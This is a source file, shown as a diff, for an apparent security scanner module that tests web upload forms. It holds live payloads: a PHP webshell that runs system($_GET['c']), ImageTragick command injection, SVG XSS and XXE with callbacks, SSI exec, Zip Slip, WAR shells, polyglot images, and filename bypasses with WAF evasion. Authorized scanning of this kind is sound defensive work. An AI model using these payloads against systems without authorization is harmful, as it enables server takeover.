|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
file_upload_scanner.py — Advanced Insecure File Upload Scanner
|
| 3 |
+
===============================================================
|
| 4 |
+
Comprehensive file upload security testing:
|
| 5 |
+
1. Discovers all file upload endpoints on the page
|
| 6 |
+
2. MIME type bypass — sends PHP shell disguised as image
|
| 7 |
+
3. Double extension bypass — shell.php.jpg
|
| 8 |
+
4. SVG XSS — <svg onload=alert(1)>
|
| 9 |
+
5. Polyglot JPEG+PHP — valid JPEG header prepended to PHP code
|
| 10 |
+
6. Null byte bypass — shell.php%00.jpg
|
| 11 |
+
7. Zip Slip — zip containing ../../../path traversal entry
|
| 12 |
+
8. ImageTragick (CVE-2016-3714) — MVG/MSL push delegate injection
|
| 13 |
+
9. Path traversal via filename — Content-Disposition: filename="../shell.php"
|
| 14 |
+
10. Dangerous extension tests (.pht, .phtml, .php5, .shtml, .asp, .aspx, .jsp, .war)
|
| 15 |
+
11. Content-type bypass tests (text/plain -> application/x-php)
|
| 16 |
+
12. Magic byte signature validation tests
|
| 17 |
+
13. Double extension variations
|
| 18 |
+
"""
|
| 19 |
+
import re, io, struct, zipfile, urllib.request, urllib.error, urllib.parse
|
| 20 |
+
from scanners.base_scanner import BaseScanner
|
| 21 |
+
from utils.evasion import waf_evade
|
| 22 |
+
from utils.callback import build_callback_url
|
| 23 |
+
|
| 24 |
+
# Real JPEG SOI magic bytes + EXIF header stub
|
| 25 |
+
JPEG_MAGIC = (
|
| 26 |
+
b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00"
|
| 27 |
+
b"\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\t"
|
| 28 |
+
b"\x08\n\x0c\x14\r\x0c\x0b\x0b\x0c\x19\x12\x13\x0f\x14\x1d\x1a"
|
| 29 |
+
b"\x1f\x1e\x1d\x1a\x1c\x1c $.' \",#\x1c\x1c(7),01444\x1f'9=82<.342\x1e\xff\xd9"
|
| 30 |
+
)
|
| 31 |
+
|
| 32 |
+
# PNG magic bytes
|
| 33 |
+
PNG_MAGIC = b"\x89PNG\r\n\x1a\n"
|
| 34 |
+
|
| 35 |
+
# GIF magic bytes
|
| 36 |
+
GIF_MAGIC = b"GIF89a"
|
| 37 |
+
|
| 38 |
+
# PDF magic bytes
|
| 39 |
+
PDF_MAGIC = b"%PDF-1.4\n1 0 obj\n<</Type/Catalog/Pages 2 0 R>>\nendobj\n2 0 obj\n<</Type/Pages/Kids[3 0 R]/Count 1>>\nendobj\n3 0 obj\n<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>\nendobj\nxref\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n190\n%%EOF\n"
|
| 40 |
+
|
| 41 |
+
# PHP webshell payload (minimal)
|
| 42 |
+
PHP_SHELL = b"<?php echo 'WSS-UPLOAD-PROBE'; system($_GET['c']); ?>"
|
| 43 |
+
|
| 44 |
+
# Minimal ASP shell
|
| 45 |
+
ASP_SHELL = b'<% Response.Write("WSS-UPLOAD-PROBE") %>'
|
| 46 |
+
|
| 47 |
+
# Minimal JSP shell
|
| 48 |
+
JSP_SHELL = b'<%= "WSS-UPLOAD-PROBE" %>'
|
| 49 |
+
|
| 50 |
+
# ImageTragick MVG payload (CVE-2016-3714)
|
| 51 |
+
IMAGETRAGICK_MVG = b"""push graphic-context
|
| 52 |
+
viewbox 0 0 640 480
|
| 53 |
+
fill 'url(https://127.0.0.1/"|echo WSS-IMAGETRAGICK > /tmp/wss-probe")'
|
| 54 |
+
pop graphic-context"""
|
| 55 |
+
|
| 56 |
+
# ImageTragick MSL payload
|
| 57 |
+
IMAGETRAGICK_MSL = b"""<?xml version="1.0" encoding="UTF-8"?>
|
| 58 |
+
<image>
|
| 59 |
+
<read filename="caption:<?php echo 'WSS-IMAGETRAGICK'; ?>"/>
|
| 60 |
+
<write filename="shell.php"/>
|
| 61 |
+
</image>"""
|
| 62 |
+
|
| 63 |
+
# XSS probe
|
| 64 |
+
SVG_XSS_PAYLOAD = b"""<?xml version="1.0" encoding="UTF-8"?>
|
| 65 |
+
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('WSS-SVG-XSS')">
|
| 66 |
+
<script>document.write('<img src=x onerror=alert(\"WSS-SVG-XSS\")>')</script>
|
| 67 |
+
<text x="10" y="20">WSS-UPLOAD-PROBE</text>
|
| 68 |
+
</svg>"""
|
| 69 |
+
|
| 70 |
+
SVG_XXE_CALLBACK = """<?xml version="1.0" encoding="UTF-8"?>
|
| 71 |
+
<!DOCTYPE foo [
|
| 72 |
+
<!ENTITY xxe SYSTEM "{callback}">
|
| 73 |
+
]>
|
| 74 |
+
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
|
| 75 |
+
<text x="10" y="20">&xxe;</text>
|
| 76 |
+
</svg>"""
|
| 77 |
+
|
| 78 |
+
PDF_PHP_POLYGLOT = PDF_MAGIC + b"\n%%PDF-PHP-POLYGLOT\n" + PHP_SHELL + b"\n%%EOF"
|
| 79 |
+
|
| 80 |
+
PROBE_MARKER = "WSS-UPLOAD-PROBE"
|
| 81 |
+
UPLOAD_RESPONSE_MARKERS = [
|
| 82 |
+
"WSS-UPLOAD-PROBE", "shell.php", "successfully uploaded",
|
| 83 |
+
"upload complete", "file uploaded",
|
| 84 |
+
]
|
| 85 |
+
|
| 86 |
+
|
| 87 |
+
class FileUploadScanner(BaseScanner):
|
| 88 |
+
SCANNER_NAME = "Insecure File Upload Scanner"
|
| 89 |
+
_SCANNER_KEY = "file_upload"
|
| 90 |
+
|
| 91 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 92 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 93 |
+
|
| 94 |
+
def run(self) -> list:
|
| 95 |
+
self.log("INFO", f"[FileUpload] Scanning for insecure file upload forms on {self.target}...")
|
| 96 |
+
html, status = self._make_request(self.target)
|
| 97 |
+
if not html:
|
| 98 |
+
self.log("ERROR", "[FileUpload] Failed to fetch page")
|
| 99 |
+
return self.vulns
|
| 100 |
+
|
| 101 |
+
forms = self._find_upload_forms(html)
|
| 102 |
+
if not forms:
|
| 103 |
+
self.log("SUCCESS", "[FileUpload] No file upload forms detected.")
|
| 104 |
+
return self.vulns
|
| 105 |
+
|
| 106 |
+
self.log("WARNING", f"[FileUpload] Found {len(forms)} upload form(s) — probing security controls...")
|
| 107 |
+
|
| 108 |
+
for form in forms[:3]:
|
| 109 |
+
action = self._resolve_action(form.get("action", ""))
|
| 110 |
+
self.log("INFO", f"[FileUpload] Testing: {action}")
|
| 111 |
+
self._test_form(form, action)
|
| 112 |
+
|
| 113 |
+
if not self.vulns:
|
| 114 |
+
self.add_vuln(
|
| 115 |
+
title="File Upload Endpoint Discovered",
|
| 116 |
+
severity="Low",
|
| 117 |
+
category="Attack Surface",
|
| 118 |
+
cvss_score=0.0,
|
| 119 |
+
description=f"File upload form(s) found on `{self.target}`. "
|
| 120 |
+
"Security controls appear active but manual testing recommended.",
|
| 121 |
+
remediation="Validate magic bytes, not just extension or Content-Type. "
|
| 122 |
+
"Rename uploads to random UUIDs. Store outside webroot.",
|
| 123 |
+
cwe_ids=["CWE-434"],
|
| 124 |
+
owasp_category="A04:2021 – Insecure Design",
|
| 125 |
+
)
|
| 126 |
+
return self.vulns
|
| 127 |
+
|
| 128 |
+
def _find_upload_forms(self, html):
|
| 129 |
+
forms = []
|
| 130 |
+
for form_html in re.findall(r'<form[^>]*>.*?</form>', html, re.S | re.I):
|
| 131 |
+
if 'type="file"' not in form_html.lower() and "type='file'" not in form_html.lower():
|
| 132 |
+
continue
|
| 133 |
+
action = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I)
|
| 134 |
+
method = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I)
|
| 135 |
+
enctype = re.search(r'enctype=["\']([^"\']*)["\']', form_html, re.I)
|
| 136 |
+
fields = []
|
| 137 |
+
for inp in re.findall(r'<input[^>]*>', form_html, re.I):
|
| 138 |
+
name_m = re.search(r'name=["\']([^"\']+)["\']', inp, re.I)
|
| 139 |
+
type_m = re.search(r'type=["\']([^"\']+)["\']', inp, re.I)
|
| 140 |
+
val_m = re.search(r'value=["\']([^"\']*)["\']', inp, re.I)
|
| 141 |
+
if name_m:
|
| 142 |
+
fields.append({
|
| 143 |
+
"name": name_m.group(1),
|
| 144 |
+
"type": type_m.group(1).lower() if type_m else "text",
|
| 145 |
+
"value": val_m.group(1) if val_m else "",
|
| 146 |
+
})
|
| 147 |
+
forms.append({
|
| 148 |
+
"action": action.group(1) if action else "",
|
| 149 |
+
"method": (method.group(1) if method else "POST").upper(),
|
| 150 |
+
"enctype": enctype.group(1) if enctype else "multipart/form-data",
|
| 151 |
+
"fields": fields,
|
| 152 |
+
})
|
| 153 |
+
return forms
|
| 154 |
+
|
| 155 |
+
def _resolve_action(self, action):
|
| 156 |
+
if not action: return self.target
|
| 157 |
+
if action.startswith("http"): return action
|
| 158 |
+
if action.startswith("/"):
|
| 159 |
+
p = urllib.parse.urlparse(self.target)
|
| 160 |
+
return f"{p.scheme}://{p.netloc}{action}"
|
| 161 |
+
return f"{self.target.rstrip('/')}/{action}"
|
| 162 |
+
|
| 163 |
+
def _test_form(self, form, action):
|
| 164 |
+
hidden = {f["name"]: f["value"] for f in form["fields"] if f["type"] == "hidden"}
|
| 165 |
+
|
| 166 |
+
cwe = ["CWE-434"]
|
| 167 |
+
owasp = "A04:2021 – Insecure Design"
|
| 168 |
+
|
| 169 |
+
tests = [
|
| 170 |
+
("MIME Bypass (PHP as image/jpeg)", self._make_php_as_jpeg, "shell.php", "image/jpeg", PHP_SHELL),
|
| 171 |
+
("Double Extension (shell.php.jpg)", self._make_php_payload, "shell.php.jpg", "image/jpeg", PHP_SHELL),
|
| 172 |
+
("Null Byte Bypass (shell.php%00.jpg)", self._make_php_payload, "shell.php\x00.jpg", "image/jpeg", PHP_SHELL),
|
| 173 |
+
("SVG XSS Upload", self._make_svg_xss, "test.svg", "image/svg+xml", SVG_XSS_PAYLOAD),
|
| 174 |
+
("Polyglot JPEG+PHP", self._make_polyglot, "image.php", "image/jpeg", PHP_SHELL),
|
| 175 |
+
("Polyglot PDF+PHP", self._make_pdf_polyglot, "image.php", "application/pdf", None),
|
| 176 |
+
("ImageTragick MVG (CVE-2016-3714)", self._make_imagetragick_mvg, "exploit.mvg", "image/x-xcf", IMAGETRAGICK_MVG),
|
| 177 |
+
("ImageTragick MSL", self._make_imagetragick_msl, "exploit.msl", "application/xml", IMAGETRAGICK_MSL),
|
| 178 |
+
("Zip Slip", self._make_zip_slip, "archive.zip", "application/zip", None),
|
| 179 |
+
("Path Traversal Filename", self._make_php_payload, "../../../shell.php", "image/jpeg", PHP_SHELL),
|
| 180 |
+
("PHP Extension .pht", self._make_php_payload, "shell.pht", "image/jpeg", PHP_SHELL),
|
| 181 |
+
("PHP Extension .phtml", self._make_php_payload, "shell.phtml", "image/jpeg", PHP_SHELL),
|
| 182 |
+
("PHP Extension .php5", self._make_php_payload, "shell.php5", "image/jpeg", PHP_SHELL),
|
| 183 |
+
("PHP Extension .php7", self._make_php_payload, "shell.php7", "image/jpeg", PHP_SHELL),
|
| 184 |
+
("PHP Extension .shtml", self._make_ssi_payload, "test.shtml", "text/html", None),
|
| 185 |
+
("ASP Shell .asp", self._make_asp_payload, "shell.asp", "text/plain", ASP_SHELL),
|
| 186 |
+
("ASPX Shell .aspx", self._make_asp_payload, "shell.aspx", "text/plain", ASP_SHELL),
|
| 187 |
+
("JSP Shell .jsp", self._make_jsp_payload, "shell.jsp", "text/plain", JSP_SHELL),
|
| 188 |
+
("Java WAR upload", self._make_war_payload, "shell.war", "application/zip", None),
|
| 189 |
+
("Content-Type Bypass (text/plain->PHP)", self._make_php_payload, "shell.php", "text/plain", PHP_SHELL),
|
| 190 |
+
("Content-Type Bypass (image/gif->PHP)", self._make_php_payload, "shell.php", "image/gif", PHP_SHELL),
|
| 191 |
+
("Content-Type Bypass (application/pdf->PHP)", self._make_php_payload, "shell.php", "application/pdf", PHP_SHELL),
|
| 192 |
+
("Magic Byte PNG + PHP payload", self._make_png_payload, "shell.png.php", "image/png", None),
|
| 193 |
+
("Magic Byte GIF + PHP payload", self._make_gif_payload, "shell.gif.php", "image/gif", None),
|
| 194 |
+
("Double Extension .php.jpg", self._make_php_payload, "shell.php.jpg", "image/jpeg", PHP_SHELL),
|
| 195 |
+
("Double Extension .php;.jpg", self._make_php_payload, "shell.php;.jpg", "image/jpeg", PHP_SHELL),
|
| 196 |
+
("Double Extension .php.jpg.php", self._make_php_payload, "shell.php.jpg.php", "image/jpeg", PHP_SHELL),
|
| 197 |
+
("Double Extension .php.php.jpg", self._make_php_payload, "shell.php.php.jpg", "image/jpeg", PHP_SHELL),
|
| 198 |
+
("Double Extension .phtml.jpg", self._make_php_payload, "shell.phtml.jpg", "image/jpeg", PHP_SHELL),
|
| 199 |
+
("Double Extension .php%00.gif", self._make_php_payload, "shell.php%00.gif", "image/gif", PHP_SHELL),
|
| 200 |
+
]
|
| 201 |
+
|
| 202 |
+
for test_name, payload_fn, filename, content_type, _ in tests:
|
| 203 |
+
filename_variants = [("plain", filename)]
|
| 204 |
+
for enc_name, enc_fn in [("waf_evade", lambda f: [("plain", f)] + [(f"waf_{n}", p) for n, p in waf_evade(f)])]:
|
| 205 |
+
if enc_name == "waf_evade":
|
| 206 |
+
filename_variants = enc_fn(filename)
|
| 207 |
+
for variant_label, variant_filename in filename_variants:
|
| 208 |
+
try:
|
| 209 |
+
data = payload_fn()
|
| 210 |
+
body, status = self._multipart_upload(action, "file", variant_filename, data, content_type, hidden)
|
| 211 |
+
except Exception as e:
|
| 212 |
+
self.log("ERROR", f"[FileUpload] Upload test error: {e}")
|
| 213 |
+
body, status = None, 0
|
| 214 |
+
if body is None:
|
| 215 |
+
continue
|
| 216 |
+
if self._check_success(body, status, variant_filename):
|
| 217 |
+
label_suffix = f" ({variant_label})" if variant_label != "plain" else ""
|
| 218 |
+
combined_name = f"{test_name}{label_suffix}"
|
| 219 |
+
self.add_vuln(
|
| 220 |
+
title=f"File Upload Bypass — {combined_name}",
|
| 221 |
+
severity=self._severity_for(test_name),
|
| 222 |
+
category="Insecure File Upload",
|
| 223 |
+
cvss_score=self._cvss_for(test_name),
|
| 224 |
+
confidence="High",
|
| 225 |
+
description=f"Upload to `{action}` accepted `{variant_filename}` via **{combined_name}**.\n\n"
|
| 226 |
+
f"HTTP {status} with {len(body)} bytes response. "
|
| 227 |
+
f"Server accepted potentially dangerous content without proper validation.",
|
| 228 |
+
remediation=self._remediation_for(test_name),
|
| 229 |
+
payload=f"{variant_filename} ({content_type})",
|
| 230 |
+
evidence=f"Upload accepted with status {status}",
|
| 231 |
+
request_details=f"POST {action} multipart/form-data field=file filename={variant_filename}",
|
| 232 |
+
response_details=f"HTTP {status}, body: {body[:200]}",
|
| 233 |
+
cwe_ids=cwe,
|
| 234 |
+
owasp_category=owasp,
|
| 235 |
+
)
|
| 236 |
+
self.log("CRITICAL", f"[FileUpload] {combined_name} — ACCEPTED by {action}!")
|
| 237 |
+
else:
|
| 238 |
+
if variant_label == "plain":
|
| 239 |
+
self.log("SUCCESS", f"[FileUpload] {test_name} — blocked ({status}).")
|
| 240 |
+
|
| 241 |
+
# SVG XXE callback test
|
| 242 |
+
try:
|
| 243 |
+
xxe_data = self._make_svg_xxe_callback()
|
| 244 |
+
body, status = self._multipart_upload(action, "file", "xxe_test.svg", xxe_data, "image/svg+xml", hidden)
|
| 245 |
+
if body and self._check_success(body, status, "xxe_test.svg"):
|
| 246 |
+
self.add_vuln(
|
| 247 |
+
title="SVG XXE Upload with OOB Callback",
|
| 248 |
+
severity="Critical",
|
| 249 |
+
category="Insecure File Upload",
|
| 250 |
+
cvss_score=9.1,
|
| 251 |
+
confidence="High",
|
| 252 |
+
description=f"SVG XXE payload with OOB callback accepted at `{action}`. "
|
| 253 |
+
"If the server parses the SVG's internal DTD, XML external entities "
|
| 254 |
+
"may be processed, leading to SSRF, file disclosure, or DoS.",
|
| 255 |
+
remediation="Disable external entity processing in XML/SVG parsers. "
|
| 256 |
+
"Reject SVG uploads entirely unless strictly necessary.",
|
| 257 |
+
payload="SVG with DOCTYPE + XXE callback",
|
| 258 |
+
evidence=f"Upload accepted with status {status}",
|
| 259 |
+
request_details=f"POST {action} SVG XXE callback",
|
| 260 |
+
response_details=f"HTTP {status}, body: {body[:200]}",
|
| 261 |
+
cwe_ids=["CWE-611", "CWE-434"],
|
| 262 |
+
owasp_category="A05:2021 – Security Misconfiguration",
|
| 263 |
+
)
|
| 264 |
+
self.log("CRITICAL", f"[FileUpload] SVG XXE callback — ACCEPTED by {action}!")
|
| 265 |
+
except Exception as e:
|
| 266 |
+
self.log("ERROR", f"[FileUpload] SVG XXE callback error: {e}")
|
| 267 |
+
|
| 268 |
+
# Server-side include callback test
|
| 269 |
+
try:
|
| 270 |
+
ssi_callback = f'<!--#echo var="DOCUMENT_NAME" -->\n<!--#exec cmd="echo WSS-UPLOAD-PROBE" -->\n<!-- callback: {build_callback_url("/ssi")} -->'
|
| 271 |
+
body, status = self._multipart_upload(action, "file", "test.shtml", ssi_callback.encode(), "text/html", hidden)
|
| 272 |
+
if body and self._check_success(body, status, "test.shtml"):
|
| 273 |
+
self.add_vuln(
|
| 274 |
+
title="Server-Side Include Upload with OOB Callback",
|
| 275 |
+
severity="High",
|
| 276 |
+
category="Insecure File Upload",
|
| 277 |
+
cvss_score=8.2,
|
| 278 |
+
confidence="High",
|
| 279 |
+
description=f"SSI payload with OOB callback accepted at `{action}`. "
|
| 280 |
+
"If the server processes Server-Side Includes, the callback URL embedded "
|
| 281 |
+
"in the file may be requested by the server, confirming SSI execution.",
|
| 282 |
+
remediation="Disable SSI processing for uploaded files. Rename uploads to .txt or .download.",
|
| 283 |
+
payload="SSI with exec directive + callback",
|
| 284 |
+
evidence=f"Upload accepted with status {status}",
|
| 285 |
+
request_details=f"POST {action} SSI callback",
|
| 286 |
+
response_details=f"HTTP {status}, body: {body[:200]}",
|
| 287 |
+
cwe_ids=cwe,
|
| 288 |
+
owasp_category=owasp,
|
| 289 |
+
)
|
| 290 |
+
self.log("CRITICAL", f"[FileUpload] SSI callback — ACCEPTED by {action}!")
|
| 291 |
+
except Exception as e:
|
| 292 |
+
self.log("ERROR", f"[FileUpload] SSI callback test error: {e}")
|
| 293 |
+
|
| 294 |
+
# Content-type boundary violation tests
|
| 295 |
+
boundary_tests = [
|
| 296 |
+
("Content-Type Boundary: mixed/malformed", "shell.php", "multipart/mixed; boundary=--malformed"),
|
| 297 |
+
("Content-Type Boundary: extra charset", "shell.php", "image/jpeg; charset=utf-7"),
|
| 298 |
+
("Content-Type Boundary: double content-type", "shell.php", "image/jpeg, text/html"),
|
| 299 |
+
]
|
| 300 |
+
for bt_name, bt_filename, bt_ct in boundary_tests:
|
| 301 |
+
try:
|
| 302 |
+
body, status = self._multipart_upload(action, "file", bt_filename, PHP_SHELL, bt_ct, hidden)
|
| 303 |
+
if body and self._check_success(body, status, bt_filename):
|
| 304 |
+
self.add_vuln(
|
| 305 |
+
title=f"File Upload Bypass — {bt_name}",
|
| 306 |
+
severity="High",
|
| 307 |
+
category="Insecure File Upload",
|
| 308 |
+
cvss_score=7.5,
|
| 309 |
+
confidence="High",
|
| 310 |
+
description=f"Upload to `{action}` accepted with malformed Content-Type `{bt_ct}`. "
|
| 311 |
+
"Boundary/content-type violations can bypass WAF rules that only check specific MIME types.",
|
| 312 |
+
remediation="Validate Content-Type against a strict allowlist. "
|
| 313 |
+
"Reject malformed or multiple Content-Type values.",
|
| 314 |
+
payload=f"{bt_filename} ({bt_ct})",
|
| 315 |
+
evidence=f"Upload accepted with status {status}",
|
| 316 |
+
request_details=f"POST {action} Content-Type: {bt_ct}",
|
| 317 |
+
response_details=f"HTTP {status}, body: {body[:200]}",
|
| 318 |
+
cwe_ids=cwe,
|
| 319 |
+
owasp_category=owasp,
|
| 320 |
+
)
|
| 321 |
+
self.log("CRITICAL", f"[FileUpload] {bt_name} — ACCEPTED by {action}!")
|
| 322 |
+
except Exception as e:
|
| 323 |
+
self.log("ERROR", f"[FileUpload] Content-type boundary test error: {e}")
|
| 324 |
+
|
| 325 |
+
def _make_php_payload(self): return PHP_SHELL
|
| 326 |
+
def _make_asp_payload(self): return ASP_SHELL
|
| 327 |
+
def _make_jsp_payload(self): return JSP_SHELL
|
| 328 |
+
def _make_php_as_jpeg(self): return JPEG_MAGIC[:20] + PHP_SHELL
|
| 329 |
+
def _make_imagetragick_mvg(self): return IMAGETRAGICK_MVG
|
| 330 |
+
def _make_imagetragick_msl(self): return IMAGETRAGICK_MSL
|
| 331 |
+
def _make_svg_xss(self): return SVG_XSS_PAYLOAD
|
| 332 |
+
|
| 333 |
+
def _make_png_payload(self):
|
| 334 |
+
return PNG_MAGIC + PHP_SHELL
|
| 335 |
+
|
| 336 |
+
def _make_gif_payload(self):
|
| 337 |
+
return GIF_MAGIC + PHP_SHELL
|
| 338 |
+
|
| 339 |
+
def _make_ssi_payload(self):
|
| 340 |
+
return b'<!--#echo var="DOCUMENT_NAME" -->\n<!--#exec cmd="echo WSS-UPLOAD-PROBE" -->'
|
| 341 |
+
|
| 342 |
+
def _make_polyglot(self):
|
| 343 |
+
return JPEG_MAGIC + b"\xff\xfe" + len(PHP_SHELL).to_bytes(2, 'big') + PHP_SHELL + b"\xff\xd9"
|
| 344 |
+
|
| 345 |
+
def _make_pdf_polyglot(self):
|
| 346 |
+
return PDF_PHP_POLYGLOT
|
| 347 |
+
|
| 348 |
+
def _make_svg_xxe_callback(self):
|
| 349 |
+
return SVG_XXE_CALLBACK.format(callback=build_callback_url("/xxe")).encode()
|
| 350 |
+
|
| 351 |
+
def _make_svg_callback_payload(self):
|
| 352 |
+
return SVG_XSS_PAYLOAD + f"\n<!-- callback: {build_callback_url('/svg')} -->\n".encode()
|
| 353 |
+
|
| 354 |
+
def _make_war_payload(self):
|
| 355 |
+
buf = io.BytesIO()
|
| 356 |
+
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
|
| 357 |
+
zf.writestr("WEB-INF/web.xml", b"""<?xml version="1.0"?>
|
| 358 |
+
<web-app><servlet><servlet-name>Shell</servlet-name>
|
| 359 |
+
<servlet-class>Shell</servlet-class></servlet></web-app>""")
|
| 360 |
+
zf.writestr("Shell.jsp", JSP_SHELL)
|
| 361 |
+
return buf.getvalue()
|
| 362 |
+
|
| 363 |
+
def _make_zip_slip(self):
|
| 364 |
+
buf = io.BytesIO()
|
| 365 |
+
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
|
| 366 |
+
zf.writestr("image.jpg", "WSS-ZIP-NORMAL")
|
| 367 |
+
zi = zipfile.ZipInfo("../../../../tmp/wss_slip.php")
|
| 368 |
+
zi.compress_type = zipfile.ZIP_DEFLATED
|
| 369 |
+
zf.writestr(zi, "<?php echo 'WSS-ZIP-SLIP'; ?>")
|
| 370 |
+
return buf.getvalue()
|
| 371 |
+
|
| 372 |
+
def _multipart_upload(self, url, field_name, filename, data, content_type, extra_fields):
|
| 373 |
+
boundary = "WSSBoundary8675309"
|
| 374 |
+
body_parts = []
|
| 375 |
+
for k, v in extra_fields.items():
|
| 376 |
+
body_parts.append(
|
| 377 |
+
f'--{boundary}\r\nContent-Disposition: form-data; name="{k}"\r\n\r\n{v}'.encode()
|
| 378 |
+
)
|
| 379 |
+
disp = f'--{boundary}\r\nContent-Disposition: form-data; name="{field_name}"; filename="{filename}"\r\nContent-Type: {content_type}\r\n\r\n'
|
| 380 |
+
body_parts.append(disp.encode() + data)
|
| 381 |
+
body_parts.append(f'\r\n--{boundary}--\r\n'.encode())
|
| 382 |
+
body = b"\r\n".join(body_parts)
|
| 383 |
+
try:
|
| 384 |
+
req = urllib.request.Request(url, data=body, method="POST",
|
| 385 |
+
headers=self._make_headers({"Content-Type": f"multipart/form-data; boundary={boundary}"}))
|
| 386 |
+
with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
|
| 387 |
+
return r.read().decode("utf-8", errors="ignore"), r.status
|
| 388 |
+
except urllib.error.HTTPError as e:
|
| 389 |
+
return e.read().decode("utf-8", errors="ignore"), e.code
|
| 390 |
+
except Exception as e:
|
| 391 |
+
self.log("ERROR", f"[FileUpload] Upload error: {e}")
|
| 392 |
+
return None, 0
|
| 393 |
+
|
| 394 |
+
def _check_success(self, body, status, filename):
|
| 395 |
+
if status not in (200, 201, 302):
|
| 396 |
+
return False
|
| 397 |
+
body_lower = body.lower()
|
| 398 |
+
if PROBE_MARKER.lower() in body_lower:
|
| 399 |
+
return True
|
| 400 |
+
if any(m.lower() in body_lower for m in UPLOAD_RESPONSE_MARKERS):
|
| 401 |
+
return True
|
| 402 |
+
fn_lower = filename.lower().replace("\x00", "")
|
| 403 |
+
if fn_lower in body_lower and "error" not in body_lower:
|
| 404 |
+
return True
|
| 405 |
+
return False
|
| 406 |
+
|
| 407 |
+
def _severity_for(self, test_name):
|
| 408 |
+
if any(k in test_name for k in ("PHP", "Polyglot", "ImageTragick", "Zip Slip", "WAR", "JSP", "ASP")):
|
| 409 |
+
return "Critical"
|
| 410 |
+
if "SVG" in test_name:
|
| 411 |
+
return "High"
|
| 412 |
+
if "Content-Type Bypass" in test_name:
|
| 413 |
+
return "High"
|
| 414 |
+
if "Magic Byte" in test_name:
|
| 415 |
+
return "High"
|
| 416 |
+
return "High"
|
| 417 |
+
|
| 418 |
+
def _cvss_for(self, test_name):
|
| 419 |
+
if any(k in test_name for k in ("PHP", "Polyglot", "ImageTragick", "WAR")):
|
| 420 |
+
return 9.8
|
| 421 |
+
if "Zip Slip" in test_name:
|
| 422 |
+
return 8.6
|
| 423 |
+
if "JSP" in test_name or "ASP" in test_name:
|
| 424 |
+
return 9.0
|
| 425 |
+
return 7.5
|
| 426 |
+
|
| 427 |
+
def _remediation_for(self, test_name):
|
| 428 |
+
base = ("1. Validate magic bytes (file header), NOT the extension or Content-Type.\n"
|
| 429 |
+
"2. Rename all uploads to UUID filenames (no user-controlled names).\n"
|
| 430 |
+
"3. Store uploads outside the webroot or in a dedicated S3/CDN bucket.\n"
|
| 431 |
+
"4. Serve files through a proxy that sets Content-Disposition: attachment.\n")
|
| 432 |
+
if "ImageTragick" in test_name:
|
| 433 |
+
return base + "5. **Patch ImageMagick** — add `pattern:*` to policy.xml deny list.\n Upgrade to ImageMagick ≥ 6.9.3-10 or ≥ 7.0.1-1."
|
| 434 |
+
if "Zip Slip" in test_name:
|
| 435 |
+
return base + "5. Sanitize zip entry paths: reject entries starting with `../` or `/`.\n Use `zipEntry.getName().startsWith(\"..\")` checks before extraction."
|
| 436 |
+
if "SVG" in test_name:
|
| 437 |
+
return base + "5. Reject SVG/XML uploads or sanitize with DOMPurify server-side.\n Serve SVGs with `Content-Type: text/plain` if display is needed."
|
| 438 |
+
if "WAR" in test_name:
|
| 439 |
+
return base + "5. Block WAR uploads unless explicitly required. Validate archive contents against allowlist."
|
| 440 |
+
if "Extension" in test_name or "Bypass" in test_name or "Magic" in test_name:
|
